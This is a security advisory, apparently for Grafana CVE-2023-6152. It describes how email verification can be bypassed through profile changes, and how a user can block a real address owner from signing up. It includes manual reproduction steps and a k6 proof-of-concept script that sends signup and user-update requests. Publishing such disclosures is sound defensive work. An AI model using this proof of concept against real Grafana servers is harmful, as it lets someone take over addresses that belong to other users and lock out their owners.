Summary

Email validation can easily be bypassed because verify_email_enabled option enable email validation at sign up only.
A user changing it's email after signing up (and verifying it) can change it without verification in /profile.
This can be used to prevent legitimate owner of the email address from signing up.

Another way to prevent email's owner from signing up is by setting Username as an email:
When a new user is registrering, they can set two different email addresses in the Email and Username field, technically having 2 email addresses (because Grafana handles usernames and emails the same in some situations), but only the former is validated.

Here user a prevents owner of [email protected] to signup.

Details

I don't know exact location but this is related to PUT /api/user handler.

PoC

Bypass email validation:

• Start a new grafana instance using latest version
• Sign up with email foo@example.
• Login to that account.
• Go to profile and change email to [email protected]
• That's it, your using an email you don't own.

Prevent email's owner from signing up:

• Start a new grafana instance using latest version
• Sign up with email foo@example.
• Login to that account.
• Go to profile and change username (not email) to [email protected]
• Signout.
• Try to sign up with email [email protected]
• Warning popup "User with same email address already exists"

K6 script (with verify_email_enabled set to false):

import { check, group } from "k6"
import http from "k6/http"

export const options = {
  scenarios: {
    perVuIter: {
      executor: 'per-vu-iterations',
      vus: 1,
      iterations: 1
    }
  }
}

const GRAFANA_URL = __ENV.GRAFANA_URL || "http://localhost:3000"

export default function () {
  group("create user_a with email [email protected]", () => {
    const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({
      "email": "[email protected]",
      "password": "password"
    }), {
      headers: {
        'Content-Type': "application/json"
      }
    })

    check(response, {
      'status code is 200': (r) => r.status == 200
    })
  })

  group("change user_a login to [email protected]", () => {
    const response = http.put(`${GRAFANA_URL}/api/user`, JSON.stringify({
      "email": "[email protected]",
      "login": "[email protected]", // user_b email.
    }), {
      headers: {
        'Content-Type': "application/json"
      }
    })

    check(response, {
      'status code is 200': (r) => r.status == 200
    })
  })

  http.cookieJar().clear(GRAFANA_URL)

  group("create user_b with email [email protected]", () => {
    const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({
      "email": "[email protected]",
      "username": "[email protected]",
      "password": "password"
    }), {
      headers: {
        'Content-Type': "application/json"
      }
    })

    check(response, {
      'status code is 200': (r) => r.status == 200 // fail
    })
  })
}

Impact

Bypass email verification.
Prevent legitimate owner from signing up.

References

• GHSA-3hv4-r2fm-h27f
• https://nvd.nist.gov/vuln/detail/CVE-2023-6152
• https://grafana.com/security/security-advisories/cve-2023-6152